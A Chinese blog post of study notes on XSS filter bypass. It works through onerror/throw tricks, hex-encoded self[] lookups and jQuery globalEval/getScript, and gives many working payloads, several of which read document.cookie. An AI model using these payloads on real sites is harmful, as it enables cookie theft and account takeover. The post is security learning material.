XSS姿势学习

0x00 前言

前段时间看到了无需括号和分号的XSS,最近又看了利用JavaScript全局变量绕过XSS过滤器,两篇均为译文,提出了一些非常有用的姿势,特此记录膜拜。另外文末贴有原文连接。

0x01 无需括号和分号的XSS

早在几年前,作者就提到过在javascript中调用函数而无需括号的方法
<script>onerror=alert;throw 1337</script>
该方法主要利用onerrorthrow,工作原理是将onerror设置为你想调用的函数,然后用throw语句将参数传递给调用函数。在上面的payload中,因为throw是一个语句,在和onerror配合使用时需要用分号隔离,避免被包含。而语句隔离也可以使用花括号{}来实现:
<script>{onerror=alert}throw 1337</script>
这样其实就已经达到作者标题所要的无需括号和分号的xss。
但是作者并没有停止,很快又提出了一万种姿势。
他发现throw语句可以接上一些表达式,那么这样就可以把onerror放在throw语句中进行赋值,并且throw表达式的最后一部分会被发送到onerror指定的处理函数中。

1
<script>throw onerror=alert,a='boogle',b='1337',a</script>

如果想执行更复杂的语句,那么便可以使用eval函数,但是将上面的payload改为

1
<script>throw onerror=eval,alert`xss`</script>

这里弹出的xss为一个字符串,可以使用破浪号包裹而不用括号,如果想要弹cookie,那么就要用到括号了

1
<script>throw onerror=eval,alert(document.cookie)</script>

这种方式调用函数,那么显然还是需要()的。但是仔细观察前面的弹窗,我们传入内容为boogle,弹窗内容却为Uncaught boogle
这样如果在传入的内容之前添加一个=,将会产生一个什么样的效果。
对,神奇的事情发生了,就像表面添加=一样,可以将Uncaught赋值为后面的内容,成为一个变量,那么这个变量就可以传入eval函数执行任意javascript代码了。
下面的payload中因为alert函数被引号包裹,可以将()编码为\x28\x29从而达到绕过效果。

1
<script>throw%20onerror=eval,"=alert\x28document.cookie\x29"</script>


同样,前面的payload也可以这样变种,产生的效果及原理相同.

1
<script>{onerror=eval}throw'=alert\x281337\x29'</script>

上面将Uncaught变为变量的方法是在chrome浏览器下实现的,而且在Microsoft EdgeIE下都能达到效果。但是当把这种方法拿到firefox浏览器时,却失败了,原因Firefox种报错前缀是uncaught exception:,代码最后执行赋值时会出现语法错误。

但是很快作者给出了在firefox上的任意javascript执行的方法

1
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>`

最终,作者更是贴出了一种无需字符串的通用payload

1
<script>throw/a/,Uncaught=1,g=alert,a=URL%2b0,onerror=eval,/1/g%2ba[12]%2b[1337]%2ba[13]</script>

可以看到,在该payloa中,作者非常巧妙的利用a=URL+0的方式将function与字符相加变为字符串,即a为"function URL() { [native code] }0",然后从a取相应的字符使用。利用这种方式去拼接被过滤的关键词的确为一种很好的思路。

还有通过使用类型错误自动将字符串发送到异常处理程序的方法,这使得我们完全不需要throw语句。

1
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>

0x02 利用JavaScript全局变量绕过XSS过滤器

这里所说的javascript全局变量是指利用self或者window调用任意javascript代码。

比如说调用alert方法,可以使用self["alert"]

如果alert关键词被过滤,使用全局变量的方法甚至可以使用字符串拼接

1
<script>self["al"+"ert"](1)</script>

同样因为是在字符串中,可以使用十六进制编码、base64编码等

1
2
3
4
5
6
7
8
9

/*
** alert(document.cookie)
*/

self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)

另外,网站中如果使用了jQuery之类的第三方库。可以利用这些第三方库中的全局变量
比如在JQuery中

1
2
3
4
5
self["$"]["globalEval"]("alert(1)");	


self["\x24"]["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");

甚至可以使用self["$"]["getScript"](url)来加载任意js文件

1
self["$"]["getScript"]("https://example.com/my.js");

另外还可以使用javascript迭代器Object.keys和正则表达式的方法去获取指定函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}

// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}

// then you can use a() with Object.keys
// alert("foo")

self[Object.keys(self)[a()]]("foo")

使用这些方法,可以说可以在很大程度上绕过一些检测关键字黑名单的waf了。

如果与第一种方法相结合,更是可以组合出更有效的payload

1
2
3
4
<script>throw/a/,Uncaught=1,g=alert,a=URL%2b0,self[`on`%2b`error`]=eval,/1/g%2ba[12]%2b"self[`document`][`cookie`]"%2ba[13]</script>


<script>TypeError.prototype.name="=/",0[self[`on`%2b`error`]=self["eval"]]["/-self[`alert`](self[`document`][`cookie`])//"]</script>

0x03 参考链接

https://portswigger.net/blog/xss-without-parentheses-and-semi-colons
https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/

本文标题:XSS姿势学习

文章作者:boogle

发布时间:2019年06月17日 - 21:24

最后更新:2019年06月18日 - 19:14

原始链接:https://zhengbao.wang/XSS姿势学习/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗